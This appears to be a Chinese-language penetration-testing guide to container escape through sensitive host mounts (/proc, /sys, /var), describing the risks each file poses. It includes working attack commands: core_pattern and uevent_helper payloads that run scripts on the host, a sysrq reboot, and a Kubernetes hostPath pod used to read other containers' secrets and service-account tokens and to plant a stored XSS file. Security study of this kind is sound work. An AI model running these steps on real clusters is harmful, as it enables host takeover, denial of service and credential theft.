敏感挂载

Reading time: 12 minutes

暴露 /proc、/sys 和 /var 而没有适当的命名空间隔离会引入重大安全风险，包括攻击面扩大和信息泄露。这些目录包含敏感文件，如果配置错误或被未经授权的用户访问，可能导致容器逃逸、主机修改或提供有助于进一步攻击的信息。例如，错误地挂载 -v /proc:/host/proc 可能会由于其基于路径的特性绕过 AppArmor 保护，使得 /host/proc 没有保护。

您可以在 https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts** 中找到每个潜在漏洞的更多详细信息。**

procfs 漏洞

/proc/sys

该目录允许访问以修改内核变量，通常通过 sysctl(2)，并包含几个关注的子目录：

/proc/sys/kernel/core_pattern

• 在 core(5) 中描述。
• 允许定义在核心文件生成时执行的程序，前 128 字节作为参数。如果文件以管道 | 开头，可能导致代码执行。
• 测试和利用示例：

[ -w /proc/sys/kernel/core_pattern ] && echo Yes # 测试写入访问
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # 设置自定义处理程序
sleep 5 && ./crash & # 触发处理程序

/proc/sys/kernel/modprobe

• 在 proc(5) 中详细说明。
• 包含内核模块加载器的路径，用于加载内核模块。
• 检查访问示例：

ls -l $(cat /proc/sys/kernel/modprobe) # 检查对 modprobe 的访问

/proc/sys/vm/panic_on_oom

• 在 proc(5) 中引用。
• 一个全局标志，控制内核在发生 OOM 条件时是否崩溃或调用 OOM 杀手。

/proc/sys/fs

• 根据 proc(5)，包含有关文件系统的选项和信息。
• 写入访问可能会启用对主机的各种拒绝服务攻击。

/proc/sys/fs/binfmt_misc

• 允许根据其魔数注册非本地二进制格式的解释器。
• 如果 /proc/sys/fs/binfmt_misc/register 可写，可能导致特权升级或 root shell 访问。
• 相关利用和解释：
• Poor man's rootkit via binfmt_misc
• 深入教程：视频链接

/proc 中的其他内容

/proc/config.gz

• 如果启用了 CONFIG_IKCONFIG_PROC，可能会泄露内核配置。
• 对攻击者识别运行内核中的漏洞非常有用。

/proc/sysrq-trigger

• 允许调用 Sysrq 命令，可能导致立即重启系统或其他关键操作。
• 重启主机示例：

echo b > /proc/sysrq-trigger # 重启主机

/proc/kmsg

• 暴露内核环形缓冲区消息。
• 可以帮助内核利用、地址泄露，并提供敏感系统信息。

/proc/kallsyms

• 列出内核导出的符号及其地址。
• 对于内核利用开发至关重要，尤其是在克服 KASLR 时。
• 地址信息在 kptr_restrict 设置为 1 或 2 时受到限制。
• 详细信息见 proc(5)。

/proc/[pid]/mem

• 与内核内存设备 /dev/mem 交互。
• 历史上容易受到特权升级攻击。
• 更多信息见 proc(5)。

/proc/kcore

• 以 ELF 核心格式表示系统的物理内存。
• 读取可能泄露主机系统和其他容器的内存内容。
• 大文件大小可能导致读取问题或软件崩溃。
• 详细用法见 Dumping /proc/kcore in 2019。

/proc/kmem

• /dev/kmem 的替代接口，表示内核虚拟内存。
• 允许读取和写入，因此可以直接修改内核内存。

/proc/mem

• /dev/mem 的替代接口，表示物理内存。
• 允许读取和写入，修改所有内存需要解析虚拟地址到物理地址。

/proc/sched_debug

• 返回进程调度信息，绕过 PID 命名空间保护。
• 暴露进程名称、ID 和 cgroup 标识符。

/proc/[pid]/mountinfo

• 提供有关进程挂载命名空间中挂载点的信息。
• 暴露容器 rootfs 或映像的位置。

/sys 漏洞

/sys/kernel/uevent_helper

• 用于处理内核设备 uevents。
• 写入 /sys/kernel/uevent_helper 可以在 uevent 触发时执行任意脚本。
• 利用示例： %%%bash

创建有效负载

echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper

从 OverlayFS 挂载中查找主机路径

hostpath=$(sed -n 's/.\perdir=([^,]_).*/\1/p' /etc/mtab)

将 uevent_helper 设置为恶意助手

echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

触发 uevent

echo change > /sys/class/mem/null/uevent

读取输出

cat /output %%%

/sys/class/thermal

• 控制温度设置，可能导致 DoS 攻击或物理损坏。

/sys/kernel/vmcoreinfo

• 泄露内核地址，可能危及 KASLR。

/sys/kernel/security

• 存放 securityfs 接口，允许配置 Linux 安全模块，如 AppArmor。
• 访问可能使容器能够禁用其 MAC 系统。

/sys/firmware/efi/vars 和 /sys/firmware/efi/efivars

• 暴露与 NVRAM 中 EFI 变量交互的接口。
• 配置错误或利用可能导致笔记本电脑砖化或主机无法启动。

/sys/kernel/debug

• debugfs 提供了一个“无规则”的内核调试接口。
• 由于其不受限制的特性，历史上存在安全问题。

/var 漏洞

主机的 /var 文件夹包含容器运行时套接字和容器的文件系统。如果该文件夹在容器内挂载，该容器将获得对其他容器文件系统的读写访问权限，具有 root 权限。这可能被滥用以在容器之间进行跳转，导致拒绝服务，或为在其中运行的其他容器和应用程序后门。

Kubernetes

如果像这样的容器通过 Kubernetes 部署：

apiVersion: v1
kind: Pod
metadata:
name: pod-mounts-var
labels:
app: pentest
spec:
containers:
- name: pod-mounts-var-folder
image: alpine
volumeMounts:
- mountPath: /host-var
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumes:
- name: noderoot
hostPath:
path: /var

在 pod-mounts-var-folder 容器内：

/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null

/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/201/fs/usr/src/app/.env.example
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/135/fs/docker-entrypoint.d/15-local-resolvers.envsh

/ # cat /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/105/fs/usr/src/app/.env.example | grep -i secret
JWT_SECRET=85d<SNIP>a0
REFRESH_TOKEN_SECRET=14<SNIP>ea

/ # find /host-var/ -type f -iname 'index.html' 2>/dev/null
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/57/fs/usr/src/app/node_modules/@mapbox/node-pre-gyp/lib/util/nw-pre-gyp/index.html
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html

/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
are/nginx/html/index2.html

XSS 是通过以下方式实现的：

请注意，容器不需要重启或其他操作。通过挂载的 /var 文件夹所做的任何更改将立即生效。

您还可以替换配置文件、二进制文件、服务、应用程序文件和 shell 配置文件，以实现自动（或半自动）RCE。

访问云凭证

容器可以读取 K8s serviceaccount 令牌或 AWS webidentity 令牌，这使得容器能够获得对 K8s 或云的未经授权访问：

/ # cat /host-var/run/secrets/kubernetes.io/serviceaccount/token
/ # cat /host-var/run/secrets/eks.amazonaws.com/serviceaccount/token

Docker

在Docker（或Docker Compose部署）中的利用方式完全相同，唯一的区别是其他容器的文件系统通常在不同的基础路径下可用：

$ docker info | grep -i 'docker root\|storage driver'
Storage Driver: overlay2
Docker Root Dir: /var/lib/docker

所以文件系统位于 /var/lib/docker/overlay2/：

$ sudo ls -la /var/lib/docker/overlay2

drwx--x---  4 root root  4096 Jan  9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
drwx--x---  4 root root  4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
drwx--x---  4 root root  4096 Jan  9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
drwx--x---  4 root root  4096 Jan  9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
<SNIP>

注意

实际路径在不同的设置中可能会有所不同，这就是为什么你最好的选择是使用 find 命令来定位其他容器的文件系统

参考文献

• https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts
• Understanding and Hardening Linux Containers
• Abusing Privileged and Unprivileged Linux Containers